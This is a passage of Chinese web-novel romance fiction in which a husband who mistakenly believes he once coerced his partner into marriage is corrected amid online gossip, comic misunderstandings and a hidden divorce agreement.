好奇吃瓜的路人们爬去了某度百科，然后……一脸恍惚地回来了。
【最近那套被称为跨时代的人工智能系统，竟然是他们公司的产品？】
【才27岁，真的好年轻啊！初中辍学中断了一年学业，然后自考拿奖学金上本地最好的高中，大学就开始一路拿奖提前毕业，创业成功公司上市，这履历也太励志了吧！】
【这个是真·霸总强势护妻，哈哈哈哈哈没法喷！】
路人讨论的重心逐渐偏移，本来就被一个人在评论区群殴的粉丝可不干了，硬拉嘲讽。
【什么真护妻？叫声老婆人家答应吗？还不知道是什么关系呢】
居然也不是无风起穴，很快有人去深扒两人关系，贴出两张某度百科截图对比。
婚姻状态那栏里，贺朝觉赫然填着已婚，裴澈对应的栏目则空缺着。
粉丝们一下子觉得抓住了把柄，直接把截图贴到贺朝觉那条回复下面，一会就顶到了热一。
【贺总可以解释一下吗？这个婚姻状态不太匹配吧，在外面乱认老婆，您妻子知道吗[捂嘴笑][图片][图片]】
扑朔迷离的复杂关系最能引爆原始的八卦之心。一时舆论再次风潮迭起，转回作为风波核心的裴澈。
这个男人是谁，他到底有什么魅力？
为什么，潜规则剧组新人的同时，还让当红影帝和科技新贵没名没份地，同时跨界为他着迷？
……
拿了狐狸精剧本的裴澈对此一无所知，他正对着空空荡荡的总裁办公室咬紧牙关。
青年眼神冒火，浑身散发着冷飕飕的怒气。
李特助站在他后面，期期艾艾地说：“……今天网络维护，BOSS下去找信号了。”
裴澈气急反笑，指着桌上的笔记本：“怎么，办公不带电脑吗？”
李特助呆滞了一秒，对哦，办公不带电脑吗？
蒙人也不知道找个好点的借口！裴澈握紧拳头，转身就走。
观景电梯一路下到二楼，接近熙熙攘攘的人流，找不到贺朝觉，裴澈心头气急又焦躁。
他转转手上的腕表，心烦意乱地将视线投向外面。
等等！裴澈的眼睛微眯起来，对面咖啡厅角落里那个人，看起来怎么那么像贺朝觉？
29.第 29 章
临窗角落的男人腰背挺拔，精裁西装勾勒出流畅的肩背线条，脸上表情冷峻而严肃，眉宇间透出一丝压迫感，如同在谈判桌上步步紧逼的猎手。
没人知道，猎手本人正在小学鸡吵架。
贺朝觉v：【有时间在这骂我老婆，不如回去好好学习，给谢以寒积攒点正能量。[酷总推眼镜]】
对方战亡，战绩＋1。
不堪一击。他稍微满意，伸手下滑，余光突然捕捉到一个有点刺眼的词条。
什么……新生代，潜规则？
还没看清，下一秒，刷新的评论铺天盖地，让那个词条淹没在了下面。
新评论统一口径，让贺朝觉去看楼中楼的热一。
……
裴澈看见窗边的爱人，并没有马上下去，而是先回到四层食堂。这里视野比较好，可以居高临下地看清对面一层。
他一边盯着贺朝觉，一边给李特助打电话，让派人去看住贺朝觉停在地下的车。
最近的生活真是越来越精彩，不怕谍战现场的戏拍不出来。
裴澈心里说了个冷笑话，挂断电话，确认贺朝觉还在窗边好好坐着，气势汹汹地转身朝楼下走去。
一楼咖啡厅。
他又扑了个空！
青年站在空空荡荡的座位前，眉头紧锁，低头瞪着那杯没动过的咖啡，半晌气得端起来一口喝完。
苦涩的味道刺激着舌尖，压不住裴澈心头的火。
不行，他勉强还剩几分神志，揉揉眉心，准备问问李特助那边的情况。
就在这时，手机传来“滴”的一声，裴澈低头看去，不是李特助的消息，一条莫名其妙的短信。
【某滴出行守护您的行车安全，点击下列链接……】
裴澈：？
这边，身形高大气势骇人的男人抓着手机，“蹭”地一下拉开车门，坐进后座。
司机打量他两眼，小心翼翼问：“裴先生？”
听见熟悉称呼，贺朝觉身躯一震，见了鬼似地回头张望。
司机警惕：“……请问是尾号1415的裴先生吗？”
贺朝觉回过头，皱眉两秒突然反应过来。掏出手机一看，果然下错订单了。
他把订单页面给司机看了一眼，解释道：“打成给他人叫车了，裴先生是我……爱人。”
爱人两个字滚在舌尖，咂摸出几丝淡淡的甜味。
贺朝觉靠在座椅上，闭上眼睛，盘算着回去拿结婚证。
离谱，居然抹黑他，说他老婆不是他老婆！
才靠了两秒钟，贺朝觉被愤怒冲昏的头脑蓦地清醒过来。等等！裴澈是不是说让自己在公司等着！
丸！辣！
瞪着聊天窗口上的大字，贺朝觉瑟瑟发抖。
【我马上去辰辉，最好不要让我发现你逃跑了。[微笑]】
那张微笑的表情微微扭曲，仿佛能让贺朝觉透过它，看见裴澈喷薄着怒气的冷笑。
不行！得立马回去！
“师——”
话没出口，聊天窗口上的阿澈[爱心][爱心][爱心]突然一跳，被一行小字【对方正在输入中……】取代。
贺朝觉突地一下把手机举过头顶，掩耳盗铃，似乎这样就看不见上面蹦出来的消息。
前排司机从后视镜一瞥，吓了大跳，脱口而出：“别动手，有事好好说！”
贺朝觉：“……”
最终两人有惊无险地到了家。
贺朝觉开门下车，司机猛踩油门，一溜烟就跑了。
留下凋零了一圈的贺朝觉，背影萧瑟，视死如归地往大宅走去。
晚了贺朝觉一步的裴澈，此时正堵在红绿灯前的车流里。
聊天界面上，最新一条消息赫然变成：【回家了？那就在家等我。乖，别再跑了。[微笑][微笑][微笑]】
贺朝觉那边的回应在【对方正在输入中……】和光秃秃的昵称中间疯狂抖动。
裴澈耐心等待了一会，逼到这份上，贺朝觉不是会彻底逃避的性子。
果然，几分钟后。
朝觉：【号】
【对方撤回了一条消息】
【好】
从S省酒店追回来，又在公司折腾了一遍，裴澈原本累得很，全靠一口怒气提着。
许是一口灌下去的那杯咖啡起效，他现在头疼得愈发厉害，精力反而恢复不少。
青年脚步不停，快速穿过暮色渐沉的前庭。
手指按在智能门锁上，沉重的木门被推开，四周窗帘应该都合上了，庭院的暮色照不进客厅，整个大厅黑沉沉的，只能看见些影影绰绰的轮廓。
空荡又沉寂，裴澈屏气凝神，终于捕捉到几分极轻的呼吸声。
“朝觉？”
没有回应，那呼吸声像是受惊的小动物，刷地一下消失了。
裴澈忍不住微微皱眉，往右走了一步，去摸开关。
就在往前提腿的时候，一个温热的硬坨坨突然撞到他脚上，让他一时没站稳，绊了个趔趄。
贺朝觉？
裴澈又惊又是无语，已是认出爱人气息，没试图挣扎，放任自己摔了下去。
下一秒，一个熟悉的怀抱果然将他捞起。
贺朝觉紧紧抱着裴澈，又惊又怕地气喘着，胸口剧烈起伏，应该也是被吓到了。
裴澈摸到他的大臂，安抚地拍拍：“好了。”
短短两个字，却如同一声惊雷，劈得贺朝觉如梦初醒。
身前的男人身子一僵，裴澈敏锐地感觉到，他松开手就要退开。
这怎么行？
裴澈一把攥住贺朝觉，顺手下落，牢牢圈住他的腰上，声音凉飕飕：“跑什么？”
青年清冷的声音不带感情，如同碎落的珠子砸在贺朝觉心上。
这是什么意思？
在贺朝觉的预想里，裴澈要么是冰冷冷地生气，终于认清了自己渣男的本质，带上离婚协议书和自己对峙，要么在长期的囚禁虐待下，对自己滋生出扭曲的爱意，病态地质询自己为什么抛弃他。
他轻轻挣了挣，裴澈圈得很紧，甚至威胁地收了一下。
贺朝觉一瞬间无所适从，细微的恐慌蛇一般爬上心头绞紧。
怎么办？裴澈的反应这么陌生反常……他的阿澈，不会彻底坏掉了吧！
男人高大的身躯蓦地战栗起来，脸颊祈求地蹭过裴澈发顶，喑哑低沉到极致的声音在裴澈
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耳边响起：“阿澈，别这样。”
你不应该是这样的……
声音沙哑得吓人，如同用砂纸擦过。要是一个亲手将爱宠养大的人，看着它嗷嗷待哺到蹒跚学步，整日懒洋洋又亲昵地贴过来，又不小心亲手将自己的爱宠杀死，其中的绝望哀伤，也不会比这更加浓郁。
裴澈听得暗暗心惊。
贺朝觉好像也被自己过于外露的情绪吓到，停住了话头。
两人一时陷入沉默僵局。
一片黑暗中，裴澈率先皱起眉，一手牢牢攥住贺朝觉，一只手别到一边去摸开关。
手才伸到一半，他突然感觉肩头落下几滴凉凉的液体，随即化开一片濡湿。
裴澈：！
明亮的吊灯骤然亮起，将客厅照得金碧辉煌。
裴澈伸手揪贺朝觉的脸，摸到一手湿咸的水滴，但被躲过去了。
“再跑一个试试！”
他执拗追上，捧起贺朝觉的正脸直直看去。
和在咖啡厅里时看见的一样，男人脸上架着一副极黑的墨镜，从这边根本看不穿他的表情。
不过脸上明显的湿痕骗不了人。
裴澈心头一颤，积攒一天的怒气瞬间消散了一半。
隔着墨镜的对视，可能让贺朝觉鼓起了几分勇气，他直直看着裴澈，声音颤抖：“阿澈，对不起，我是个禽兽。”
说着高大的男人就这么呜呜咽咽起来，膝盖一沉，似乎是要当场给裴澈跪下！
什么东西？！
裴澈过于震惊，一把捞起爱人。
但他力道估计得小了，被贺朝觉坚定的决心一带——
“砰”“砰”几声脆响，裴澈的膝盖在冰凉地面上狠狠磕上，和贺朝觉对跪到了一起。
裴澈恶狠狠地捂着额头，看见一个同样的红包飞速在贺朝觉额头拱起。
好了，他这下真的有点生气了。
……
贺朝觉红肿着眼睛在沙发上正襟危坐，大气都不敢出一声。裴澈冷着脸拿棉签沾了碘伏，轻轻涂在他额头的伤口上，又取过冰好的绿豆，帮他敷眼睛。
贺朝觉期期艾艾地看他，几次想要说话，都被一个眼神杀回去了。
裴澈半蹲下来，牵动到膝盖的伤口，轻嘶一声。
贺朝觉立马腾地站起来，声音干涩：“阿澈，你的伤口也处理一下吧。”
“坐好。”
裴澈丢下两个冰冷的字，把贺朝觉按回去。他细心卷起贺朝觉的裤腿，用冰块在青肿处轻轻揉压，全程不带一丝多余的表情，就好像面前这件事是一件按部就班完成的任务。
贺朝觉心疼如绞，放下绿豆可怜巴巴朝他看去。
不要这么惩罚自己，让我给你上药吧！
青年冷着脸，抱臂往旁边沙发上一坐，唇角勾起一丝气极的笑意：“来，解释吧。”
红肿伤口在玉白的额头上极为明显，贺朝觉视线划过自己的又一罪证，深深吸了口气。
怎么解释？说自己悔过自新，发现真的爱上他了。说自己情之所至，昨晚是一时冲动。还是说自己被人夺舍，但本质上也是一头被欲望控制的禽兽？
他就是个彻头彻尾的渣男，他百口莫辩。
30.第 30 章
男人颓然坐在那里，垂着头像一朵蔫了吧唧的向日葵大盘子，半晌没有说话。
裴澈挑眉：“干嘛不说话？”
贺朝觉如丧考妣：“不知道从哪里说起。”
这具身体的罪行简直罄竹难书。
裴澈：“……”
说实话，到家就经历这么些大起大落的戏剧情节，他多大的气也早消了。更何况，裴澈更多还是气贺朝觉一个人心里藏着事，不和自己分担。
想到这里，他将脸板得更冷：“那就从车祸说起。”
细细回想，贺朝觉的古怪就是从车祸醒来之后开始的。
听见“车祸”两个字，贺朝觉的脸色瞬间一变，猛地抬头看来。这是什么意思，阿澈难道知道了什么？
但裴澈目视前方，没有看见他的反应，语气浅淡地继续陈述：“从那之后，你对我的态度就变得很奇怪。”
就这样？贺朝觉说不上是松了口气还是失望，蔫蔫点头：“没错，车祸之后我才清醒过来，意识到你对我来说有多重要。”
裴澈面色古怪，你管这叫清醒？
但贺朝觉赤诚的眼神看得他有点脸热，忙板起脸轻咳一声，提醒：“甜言蜜语没有用。贺朝觉，现在是让你坦白从宽。”
贺朝觉跨着个小狗脸疑惑歪头。啊？这就是最接近的真相啊！阿澈想听什么？
至于“夺舍”这件事，他暂时决定能不提就不提，在阿澈没有彻底信任自己之前，这种说辞很像渣男洗清过往罪行的托辞，好像也不太科学。
见贺朝觉似乎真的很困惑，裴澈只好提醒他：“你还记得刚醒的时候和我说了什么吗？另外，你到底是为什么送我那张照片？”
青年侧过头，朝玄关处抬了抬下巴。
贺朝觉逃跑时，特意把那张奇怪的照片压在字条下面留给他。之后裴澈一路追来，也都随身带着，被贺朝觉绊一下顺手掉到了玄关柜子上。
说了什么……贺朝觉使劲回忆。
“我们的交易终止吧。”
“我不会再强迫你了。”
“我虽然能留下你的人，但留不下你的心。”
好像没有什么特别离谱的话吧，从裴澈的角度看，完全合情合理啊。
再一看那照片……嗯？贺朝觉猛地瞳孔一缩。
在他垂头思索的空当里，裴澈不知什么时候已经走到玄关柜子边上，拿起了那张照片！
贺朝觉不禁屏住呼吸，看着青年攥在相框上的修长手指。
青年只低头看正面，没有发现，相框背部压板的扣子松了两边，露出里面藏着的一角白纸！
他心头一紧——
裴澈刚拿起照片看了两眼，抬头打算问贺朝觉，就感觉身边噌地卷过来一个人。
吓得他手一抖，差点没拿稳相框。
急急卷到他身边的贺朝觉跟着一抖，眼见相框没掉才松了一口气。
裴澈狐疑：“这么紧张干嘛？”
贺朝觉拼命摇头：“没有干嘛。不是，没有紧张。”
要不是他的视线又在相框上转了两圈，隐隐松了口气，裴澈可能会觉得更加可信。
“哦，”他语气低平地哦了一声，抬了抬拿着相框的手，“那我们继续。”
见贺朝觉目光跟着上移，裴澈唇角勾出一抹微不可见的弧度，随手将相框倒扣回柜子上，手指轻点：“为什么选这张照片？嗯？”
贺朝觉心都提起来了，不敢朝那个方向多看，生怕裴澈跟着回头。
他心脏砰砰直跳，下意识回答：“这张最符合我们的情况。”
裴澈眉头微蹙，表情疑问。
贺朝觉委委屈屈：“我爱你，但是你不爱我。”
裴澈：“？？？”
他深吸一口气，强迫自己平静下来。在经历贺朝觉事后跑路的魔幻一天后，这个答案听起来甚至还挺合情合理。
裴澈微笑问道：“这就是你今天早上逃跑的原因？
“因为我不爱你？
“觉得你强迫我了？”
每说一句，他就逼近贺朝觉一分，说完最后一句，两人之间已经近得插不进去缝隙。贺朝觉垂眼看去，可以看见裴澈纤密的睫毛微微颤动。
他滚了滚喉咙，声音艰涩：“对。”这就是事实。
裴澈真是气笑了，他恶狠狠地捧起贺朝觉的脸，咬牙切齿：“贺朝觉你给我听好了，如果不是心甘情愿，还没人能强迫到我头上！”
啊？贺朝觉有点懵圈。
没得到自己预期的反应，裴澈觉得需要更直白一点，他泄愤地挤挤贺朝觉的脸：“你是我的爱人，我当然也是爱你的。
“而且这几天你跟着我去S省，我都和你一块去S影约会了，你怎么还会觉得我不爱你？”
约……约会？贺朝觉的脸腾地爆红。阿澈列举的都是最近和自己之间发生的事情，难道……
不听话的小心脏又蠢蠢欲动。
“阿澈，”男人小心翼翼抬手，试探地握住裴澈的手腕，像是生怕被甩开一样，声音低低的，眼神里透出一丝小狗般的渴望和不确定，“你是说，车祸之后的我，算是一个合格的伴侣吗？”
车祸之后？裴澈有点疑惑这个重点，转念一想又释然了。他现在确实有点傻乎乎的，老是给自己惹事，还经常患得患失。不过，还是可爱的嘛。
他捏住贺朝觉的脸，拉开一个笑：“你说呢？”
随即严肃地回答：“再合格不过了。”
贺朝觉双眼顿时迸发出巨大的惊喜，像是被人在路上拿金块锤了一下，晕乎乎地不可置信。他愣了一会，才伸手绕过裴澈的腰，满眼期待地问了一句：“可以吗？”
一等裴澈点头，他迫不及待地抱起裴澈，像一只撒欢的小狗般原地转起圈来。
终于哄好了，裴澈抿着嘴笑，任他抱着转。
但等了几圈他还没停下来，转得裴澈头都晕了，连忙敲敲男人的肩膀：“头晕。”
贺朝觉紧张兮兮地放裴澈下来，问他哪里不舒服，又想起来：“阿澈，你的头，还有膝盖……”
眨着眼睛可怜巴巴：“让我给你上药吧。”
贺朝觉满脸幸福地坐在一边，将老婆的腿横在大腿上，轻柔地给他冰敷揉开。
嘿嘿，老婆说，喜欢车祸之后的他！
高大俊朗的爱人在一边傻兮兮地笑，裴澈简直有点没眼看，随口问：“让你在公司等我，怎么突然跑回家了？”
贺朝觉立答：“拿结婚证。”
裴澈笑容消失：“？？？”好好的拿那个干嘛？准备离婚？
贺朝觉手上动作瞬间一僵，意识到自己说了什么。
不过，阿澈都说喜欢自己了……他期期艾艾地抬头和裴澈对视，带着一点微不可见的期盼：“阿澈，你先别生气。我今天看见谢以寒的某博了，然后……”
热度太大，也该看见，自己倒是着急忘了这事。裴澈挑眉：“然后？”
贺朝觉声如蚊呐，怯怯抬头：“然后我有点吃醋，就跳出来说你是我老婆，还和人吵架了。”
裴
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澈：“？？？”
贺朝觉拉拉他的衣角：“阿澈，我在谢以寒评论区公开我们的婚姻关系，你不会生气吧？”
男人拿腔作调，茶里茶气，还拿眼睛偷偷觑裴澈。
裴澈捏捏眉心：“……不生气。”
也不是地下情，就是今天这舆论炸弹，可太多了。
五分钟后。
贺朝觉v：【谢谢关心，结婚三年，感情甜蜜[酷总推眼镜]。谢以寒是关系很好的共同朋友。[照片][照片][照片]】
裴澈v：【[爱心][爱心][爱心][转发博文：谢谢关心，结……]】
从保险柜取出来的结婚证摊开在床上，旁边坐着一只捧着手机爱不释手的贺总。
贺总夫人双手抱胸站在一边：“这下放心了吧。”
贺总猛猛点头。
照片一共三张，分别配了结婚证照片，两人合照，以及和谢以寒的三人合照。
贺朝觉飞快给评论【笑死了，谢以寒挤在这对夫夫中间好像一只傻狗。】点了个赞，矜持地下拉，浏览网友们给自己的祝福。
【刚刚说舔狗的人呢，脸都打肿了吧】
【天啦履历好看，脸也这么好看，老婆还好看！什么神仙CP】
贺朝觉嘴角扬起就没下来过，直到他看见一句负面言论。
【开始洗了！谁还记得 #新生代导演潜规则新人演员吗？婚内出轨更劲爆了好吧！】
贺朝觉：“？？？”
他的眉头一下子就惊怒地蹙了起来。
裴澈敏锐：“怎么了？”
“没，没什么，”贺朝觉连忙一遮屏幕，可不敢让阿澈看见这些乱七八糟的，“阿澈，你渴不渴？”
男人神情慌乱，一看就是有事的样子，结合情景，裴澈基本猜到八九不离十。
支开人的方式还挺有趣。裴澈心里好笑，正好也惦记了另外一件事，他盯着贺朝觉，慢悠悠道：“确实有点渴了，我下去厨房倒点水吧，你一个人在这待会，嗯？”
贺朝觉忙不迭松了口气，送裴澈离开。
然后迅速点开词条，广场已经有人整理了整件事的来龙去脉，包括详细时间轴。
10月8号上午？不就是他们看电影，阿澈被叫走那天？幸好他有记录！
贺朝觉飞快切回小号。
【是否绑定账户，并复制历史博文到名下其他账户？】
楼下，裴澈到了客厅没有拐到厨房，而是直直朝玄关而去。
相框里的秘密甚至不经掩藏，倒扣的压板上卡扣松了两片，能看见一个白纸角露出来。
还真有秘密？裴澈有点好笑，也是真好奇贺朝觉藏了什么在里面。他伸出手，取下压板，随手拿出白纸展开——
白色纸上，五个黑墨印着的大字十分醒目。
裴澈手一颤，嘴唇刷地就白了。
“贺朝觉！”
正在努力反黑的贺朝觉一抬头，就看见裴澈脸色煞白地站在门口，手里举着那份自己签过字的离婚协议书：
“这是什么意思？”
贺朝觉呆滞一秒，突然间，看见青年蹙眉弯腰，猛地捂住了腹部。
气糊涂了，忘记今天一天没顾上吃饭了。
裴澈捂着微微抽搐的胃，强行想要站直，等贺朝觉给他一个答案。
却见男人一蹦三尺高，一个滑跪到了自己身前，抽噎道：“阿澈！你刚刚小产，千万别气坏了自己！气我可以，但要爱惜自己啊！”
裴澈：“？？？”
31.第 31 章
青年抓住门框的指节用力到发白，因胃痛蜷缩的上身抬起，毫无血色的嘴唇微微颤抖，眼神呆滞地看向贺朝觉：
“……小产？”
跪在地上的男人似乎自知说错了话，咬住嘴唇，眼神惊恐，一副要伸手扶裴澈又不敢的样子。
裴澈拍开他的手，颤着声音，又问了一遍：
“小产？！！！！！”
这次声音更加惊恸。
该死，碰到阿澈的伤心事了！
贺朝觉如遭雷击地颓然垂头，面色慌乱，眼角带红，泪珠如泉涌出落在地上，一会功夫便打湿了一片。
怎么办怎么办？为什么挑这个时候提这件事？
呜，他们是不是要完了！
看见爱人一言不合又跪下暴哭，刚从两眼一黑里缓过来的裴澈扶扶额头，瞬间把离婚协议书和胃痛都丢到了一边。
“别哭了！”
贺朝觉抽噎了一下，止住哭跪直了。
这都是什么事啊！裴澈的太阳穴突突直跳，深吸一口气，努力平复情绪：“贺朝觉，你是不是忘了什么——我是个男人，这件事你还记得吧？”
贺朝觉委屈点头，低声道：“记得。”
裴澈简直要被气笑了，语气带着一丝无力的崩溃：“那你哪来的小产？！我是怎么、可能——怀孕的？”
他重重咬着最后几个字，仿佛在极力克制自己不去抓住贺朝觉狠狠地摇，好把他脑子里进的水统统晃出去。
怎么……
贺朝觉脑海中瞬间闪过了一系列不可描述画面。
不！阿澈问的不是这个！贺朝觉猛地摇头，把这些想来就肮脏可恨的画面甩出去。
但是为什么要问这个？答案，他们俩不是都知道吗？贺朝觉心里疑惑，但还是老实回答，他飞快抬眼瞥了一眼裴澈反应，声音生涩：“因为你……体质特殊。”
裴澈体质特殊，是男人却可以受孕，那个……那个禽兽经常用这件事羞辱他，现在，自己又在他面前旧事重提……呜呜，阿澈再也不会原谅自己了！
贺朝觉说完，仿佛抽干了全身力气，挺直的腰背萧瑟许多。
裴澈听得人都麻了，这个理由听起来居然没比小产这件事本身离谱。
不是贺朝觉脑子坏了就是他脑子也坏了。裴澈麻木地想，一会要把贺朝觉的浏览器切换到儿童锁模式，不能让他网上看些乱七八糟的x文设定。
他揉揉额头，缓缓问出最后一个问题：“那我……既然你认为我对你没有感情，我为什么会同意和你结婚？
“我们会什么会在一起三年？”
来了！阿澈的终极质问……
贺朝觉痛苦地闭上眼睛，这段时间他掩耳盗铃，用赎罪的接口接近阿澈，自以为是地培养起莫须有的感情。一切看似美好的背后，这个丑陋的真相一直存在那里——
男人声音死寂，似乎失去了一切希望：
“因为我以你父亲的性命相胁迫，辅以挽救公司资金链的利益为诱饵，强行逼你做我的禁.脔。
“这场婚姻，从开始，到这三年，每时每刻，都是我在强迫你。”
“阿、裴澈，是我对不起你。”
裴澈：“？？？”
许是人无语到一定程度会变得抽象，他嘴巴张合：
“禁.脔，哪学的词？挺高级。”
没给贺朝觉反应时间，裴澈突然捂住小腹，再度疼得蜷缩起来。
就在刚刚，胃上突然又传来一阵抽痛。或许是因为彻底问清贺朝觉想法，心头的疑虑散去后，这次的痛感来得更为猛烈而密集，一波接一波，仿佛潮水般汹涌袭来。
青年手指疼得几乎无法再抓住门框，身子微微一晃，踉跄着缩成了一只虾米，眼看就要跌倒。
“阿澈！”
贺朝觉不敢再犹豫，急忙上前扶住他。
感受到手上传来的挣扎力道，贺朝觉打横抱起裴澈小心地放在床上，伸出颤抖的手拨开额头碎发：“你之后再怎么恨我都好，这会听我一下吧。”
说着起身决绝离去。
痛到不行的裴澈趁气力稍微恢复，猛地拽住他：“……你去哪？”
贺朝觉回身看他，眼神沉痛：“我通知钟医生过来。”
裴澈忙拽得更紧了，笑话，让他去叫钟医生，之后一年钟医生吃饭都不用下饭菜了。
无力的手指抓住男人衣角，细弱苍白的皮肤下，青筋隐隐可见。柔弱青年眼神破碎地看向贺朝觉：
“去给我弄点吃的。
“……多弄点，饿了一天了。”
贺朝觉：“？？？”
……
半小时后，裴澈靠坐在床头，边桌上摆着一碗白米饭和几碟小菜。
光是闻见饭菜的香味，就感觉整个胃都熨帖了。裴澈食指大动，瞬间顾不上贺朝觉，毕竟天破了一个窟窿的时候还想趁早补了，天上全是窟窿……还是先吃点吧。
他提起筷子，想起什么突然又放下。
一边的贺朝觉正襟危坐，紧张兮兮，瞬间倾身过去：“怎么了？不合胃口？”
裴澈极为自然地指使：“去，把右边第二个柜子里的药盒拿过来。”
贺朝觉不敢多问，听话地取过来，又挪动装着温水的杯子，放到裴澈触手可及的位置。
裴澈没有用水送服，直接把药片放进嘴里咀嚼。
铝碳酸镁咀嚼片，中和胃酸，缓解胃痛。
贺朝觉好像被这种别开生面的吃药手法惊到了，面色一僵，有点心疼又不敢说话。
裴澈先开口了，幽幽道：“你怎么不问我吃什么药？”
贺朝觉听话照做：“什么药？”
裴澈意味深长地看他一眼：“胃药。”
贺朝觉点点头，继续乖乖地坐在一边，眼巴巴看着他。
裴澈：“……”
忍了两秒，他高声重复：“胃药！贺朝觉你听懂了吗？根本就没有小产这回事，我只不过是胃病犯了。”
贺朝觉小心地看他一眼，面露惊愕，良久嗯了一声：“听懂了。”
不，他觉得眼前这个傻兮兮的爱人没懂。裴澈面无表情端起饭碗，恶狠狠地夹菜，一口吃掉了菇子上面的菌尖。
小半碗饭菜下肚，裴澈有了点力气，招招手让贺朝觉坐到身边来。
刚刚他吃饭那会功夫，男人不知道在边上想了些什么，表情变得更加静默，也没多做
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挣扎就顺从地坐到了他边上。
裴澈凑过去，揪住贺朝觉的脸：“接下来我要说的事情很重要，你听好了。”
他牵着爱人的脸皮上下点点狗头当是答应，然后没给多的空隙，直奔主题：
“你说的那些，比如说小产，都是你自己撞坏了脑子，臆想出来的。”
贺朝觉张张嘴好像要说什么，裴澈连忙扯住他的脸颊肉，眼神威慑：“嗯——”
贺朝觉乖乖闭嘴。
裴澈满意地亲亲他的额头，继续道：“至于你说的那些强迫，更是完全不成立。如果我是被你强迫的，为什么现在还要亲你？”说着又“吧唧”一声，响亮地盖了个章。
他改成托着爱人的脸，揉了揉：“不明白？那我继续讲讲我们是怎么结婚的。”
这是一个有点复杂的故事，但说起来也很简单的故事。大体要素和贺朝觉的剧本一致，父亲患病，公司陷入资金链断裂的危机，在一场宴会上，英俊的新贵学长主动提出联姻。
不过细节还是有本质性差异的。
裴澈略有点不好意思：“……其实我对你也算是一见钟情吧，小有好感。你都不知道，当时你来找我说联姻的时候，表情多傻啊，一看就是喜欢我。”
青年玉白脸颊浮上薄红，语气平静中带着浅浅的欢喜，讲述着一段甜蜜的相遇故事。
在这个故事版本里，没有任何暴力胁迫和非自愿元素，两人的婚姻水到渠成两情相悦，美得像是一段童话故事。
清浅的嗓音娓娓讲述着，不知从什么时候起，贺朝觉就没再试图打断，而是静静地听着。
“……总之，当时也是冲昏脑袋，就和你闪婚了。想想以寒当时还差点被他爹拎回家继承家业，现在能当影帝还得感谢你呢。”
裴澈以一句感概结束了这段往事，期待地看向贺朝觉。
贺朝觉点点头：“我明白了。”
裴澈搓着狗头左右打量，没看出什么可疑的表情：“你真明白了？”
贺朝觉笃定地点头。
男人眼神清澈温顺，除了眼角还带着点红，确实看不出来刚才悲痛欲绝，满脸我是禽兽的样子了。
但裴澈总觉得哪里不对劲，看了半天未果，挥挥手放过他。
留待观察。
“阿澈，”贺朝觉声音亲昵，“那我看一下某博？不知道有没有新回复。”
急着要住在评论区的样子，好像很对劲。
转过身，男人的表情瞬间一变，表情阴鸷如临大敌。
他啪地打开钟医生的聊天窗口：
【有认识出色的脑科医生和心理学家吗？方便和病人会诊，还不让病人发觉的那种。】
发送。
贺朝觉目光深沉，幽深处浮出几分被掩藏起的痛楚。
没想到，阿澈的自我保护机制已经到了这种程度，脑补出一整套虚假的恩爱记忆自我麻痹！
要是没有他在车祸后步步紧逼，让阿澈爱上自己，让他痛苦的记忆出现断层无法自洽，是不是，事情就不会糟到这个地步……
他真是罪孽深重！
嗯？等等，贺朝觉低下头。
那个红色感叹号是什么意思？
32.第 32 章
难道是加急消息的意思？贺朝觉低头瞪着那个鲜红的感叹号，眼神逐渐疑惑。
裴澈凑过来，手指轻轻戳了戳他：“在看什么呢？”看得这么入神？
贺朝觉全身一紧，赶紧直起腰来挡住屏幕，手忙脚乱地将手机反扣在床上，像是被人当场抓包似的。
把一整套小动作尽收眼底，裴澈：“……”
“又有什么小秘密了？”
青年声音不清不淡，听不出什么情绪。
这是什么意思？贺朝觉一个激灵，连忙回头，把头摇成拨浪鼓：“没有没有，没有秘密了。”
说是没有秘密，视线却开始游移，瞥见床边的碗碟瞬间一亮：“我去洗碗！”
真的不擅长撒谎，裴澈有点好笑。默默欣赏了一会爱人转移话题的技巧，他轻轻挑眉，流露出几分戏谑笑意：“那件事不用瞒着我，我已经知道了。”
贺朝觉：？
他心里咯噔一下，没什么底气地装傻：“什……什么事？”
裴澈自然地坐到贺朝觉旁边，轻轻戳了戳他的手背：“看你的表情，那么严肃，不是看见易帆的热搜了？”
贺朝觉一愣，愣怔地点点头。
裴澈又挠挠他的手背：“我已经让小陶联系营销号放了消息出去，接下来这个舆论会炒得更热，你先别管，我有办法。”
贺朝觉低头，想到自己转到大号上的博文，瞬间有点心虚。
……好像已经管了，怎么办？
没得到回答的裴澈转头，发现贺朝觉垂着头，乖顺得像只犯错的小狗，不由得伸手捏了捏他的脸：“听话，这次别给我搞大新闻了，嗯？”
青年声线特意低柔，平时清泠的声音绵软了许多，尾音上翘，像是带了钩子，在贺朝觉心头挠了一下。
再对上那双噙着温柔笑意的眼睛，贺朝觉脑子一嗡。
瞬间什么都忘了，邦邦点头。
……
收拾完碗筷回来，两人继续坐在床边。裴澈靠坐在床头，对着手机处理了会消息，贺朝觉陪坐在一边，撑头出神地看着他。
床头灯柔和的光晕洒在青年脸上，勾出好看的眉眼，中和了其间总是淡淡流露的清冷。
真好看，贺朝觉觉得心跳仿佛都温柔起来，这样温馨的时刻，即使知道是假象，也让人忍不住沉沦。
突然，他视线滑到裴澈手上。
贺朝觉：“！！！”那是什么?！
带着折痕的A4纸被打开，青年修长的手指轻轻执着纸张两角，颇为专注地看着。
那不是他签过名的离婚协议书吗？
裴澈看到一半，男人噌地一下贴过来，紧张兮兮地看向他手里的协议书，目光警惕。
裴澈打趣：“怎么，刚刚不是还急着要和我离婚？”
贺朝觉低头不说话，眼神委屈巴巴。
治好阿澈之前，不能随随便便离开他，自己要负责的。
“好啦，就是看看你给开的什么条件，”裴澈拍拍爱人的狗头，将协议书一合，啧啧感叹：“发现贺总真是大方啊。”
几乎净身出户。
裴澈又翻过协议书，找到签字的地方看了看：“签这个的时候没哭？”
贺朝觉：“……”
他忍不住板起脸，刀削斧凿的俊脸上腾地飞红。
裂开了！自己在老婆心目里伟岸的形象全盘崩塌了！
裴澈见好就收，飞速拿过笔签了行字，等贺朝觉不敢置信地转过脸来，他已经签完了。
“签的不同意，不信你自己看。”
贺朝觉犹自紧张，扯过裴澈的手，对着签名仔细看了看，的确是一行清隽有力的“不同意”，这才放下心来。
裴澈又递过笔：“喏，把你自己名字划拉了。”
男人还真认认真真地划拉了，画个框框起来一点一点涂黑。
有点儿戏。这些其实不符合协议章程，也不是签个“不同意”就像不离婚承诺书一样，但裴澈发现，陪贺朝觉做这种幼稚的事情，自己好像也还挺乐在其中的。
涂完黑框框，贺朝觉把协议递给裴澈。
裴澈没有伸手，摇摇头：“送你的。”就当是相框的回礼。
